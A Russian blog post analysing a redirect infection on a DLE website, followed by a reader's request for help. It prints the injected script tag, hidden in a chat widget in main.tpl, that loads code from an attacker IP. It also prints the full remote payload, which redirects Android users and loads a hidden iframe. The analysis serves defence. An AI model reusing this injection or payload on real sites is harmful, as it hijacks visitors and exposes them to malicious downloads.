Необычный редирект-вирус в DLE

В сети уже описано множество ситуаций, когда сайт на DLE (Data Life Engine) злоумышленники заражали вирусом и ставили редирект на другой домен. В этой статье речь пойдёт об одном из таких взломов сайта, однако описания подобного вида заражения вы вряд ли встретите — своего рода уникальный вирус, которого заметили в первый раз.

Как вирус попал на сайт

Точных данных по источнику заражения получить не удалось. Согласно найденным файлам, которые были залиты в папку UPLOADS, ничего конкретного обнаружить также не получилось.

Вероятно был украден пароль от хостинга или админки сайта. FTP аккаунтов на сайте не использовалось.

Необычный редирект

Первый раз о наличии вируса сообщил Яндекс в панеле инструментов для Вебмастеров в воскресенье 16 ноября. Выглядело всё это так:

virus-na-sayte-webmaster

 Поиск вируса на сайте

Чтобы найти вирус, был использован специальный скрипт Ai-bolit. Так как размер сайта превышал 1 Гигабайт, сканировать файлы на наличие вирусов непосредственно на сервере не удалось (не хватало времени выполнения).

Скачав на локальный диск архив сайта, была запущена проверка, результаты которой весьма удивили — ничего подозрительного в файлах не нашлось, но сайт по-прежнему редиректил то на домен непристойного содержания, то на загрузку подозрительного ПО.

При заходе на сайт с мобильного телефона под управлением ОС Android, пользователей автоматически перебрасывало на такую страницу:

redirekt-no-1-na-sayte

Или такую:

redirekt-na-vneshniy-sayt-android

Просматривая каждый файл по-отдельности, выявить угрозу также не получалось.

Как найти редирект при таком заражении DLE

Совершенно случайно в шаблоне main.tpl, в самом низу файла был замечен подозрительный скрипт. Прямо в коде виджета онлайн консультанта находился такой код:

<!-- Start SiteHeart code -->
<script>
(function(){
var widget_id = 632565;
_shcp =[{widget_id : widget_id}];
var lang =(navigator.language || navigator.systemLanguage 
|| navigator.userLanguage ||"en")
.substr(0,2).toLowerCase();
var url ="widget.siteheart.com/widget/sh/"+ widget_id +"/"+ lang +"/widget.js";
var hcc = document.createElement("script");
hcc.type ="text/javascript";
hcc.async =true;
hcc.src =("https:"== document.location.protocol ?"https":"http")
+"://"+ url;
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hcc, s.nextSibling);
})();
</script><script type="text/javascript" src="http://5.61.34.53/jquery/jquery.ui.js"></script>
<!-- End SiteHeart code -->

Предпоследняя строчка показалась подозрительной, а именно — безобидная библиотека JQuery.ui.js загружалась с непонятного адреса, прописанного в виде IP.

Перейдя по этому адресу получаем следующее:

if(!getCookie("google__analytics__")){
  var gate = "http://5.61.34.53/jquery/jquery.php";
  var today = new Date(),  
      tomorrow = new Date();
  tomorrow.setDate(today.getDate() + 1);
  setCookie("google__analytics__", 1, tomorrow.toGMTString());
  var ua = navigator.userAgent.toLowerCase(); 
  
  if(ua.indexOf("android") > -1)
    window.location = gate;
  else{
    var el = document.createElement("iframe");
    document.body.appendChild(el);
    el.id = 'iframe';
    el.style.width = 0;
    el.style.height = 0;
    el.src = 'http://5.61.34.53/2c24';
  }
}
function setCookie (name, value, expires, path, domain, secure) {
  document.cookie = name + "=" + escape(value) +
    ((expires) ? "; expires=" + expires : "") +
    ((path) ? "; path=" + path : "") +
    ((domain) ? "; domain=" + domain : "") +
    ((secure) ? "; secure" : "");
}
function getCookie(name) {
    var cookie = " " + document.cookie;
    var search = " " + name + "=";
    var setStr = null;
    var offset = 0;
    var end = 0;
    if (cookie.length > 0) {
	offset = cookie.indexOf(search);
	if (offset != -1) {
	    offset += search.length;
	    end = cookie.indexOf(";", offset)
	    if (end == -1) {
		end = cookie.length;
	    }
	    setStr = unescape(cookie.substring(offset, end));
	}
    }
    return(setStr);
}

Именно эта строчка со скриптом и вызвала редирект. Удалив её, сменив пароли на сайте и хостинге, проблема исчезла.

Чем именно отличается этот редирект-вирус от других видов заражения

Искать по файлам сайта с помощью NotePad вхождения eval, base64 и другие, бесполезно. Проверять сайт антивирусами (всеми известными) — бесполезно. Проверка с помощью Ai-bolit также не принесёт результата.

Только в ручном режиме с самостоятельным просмотром можно увидеть результат, так как вирус загружается не с самого сайта, а с внешнего источника. Чтобы избежать подобный взлом сайта, никогда не храните логины и пароли в браузерах, делайте их многосложными и не используйте имя администратора ADMIN. Берегите свои сайты на ДЛЕ!

1 Комментарий

  1. Юрий:

    Здравствуйте, спасибо огромное за статью, но если бы вас не затруднит гляньте сайт мой, он редиректит на сайт autoprogon. Com
    Я новичок, наткнулся на этот сайт и сам залил файл прогона на хост.
    Все бы ни чего, пока друг не сказал.
    Я удалил файл, у меня редирект не выходит и у друзей тоже. Я с Казахстана, но с Российских апи вылазит.
    Сделал следующее удалил сайт, залил с офф сайта, установил, залил базу свою и папку с ресурсами uploads.
    И опять же такая проблема.
    Пожалуйста, гляньте просто открыв сайт, не знаю что делать

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *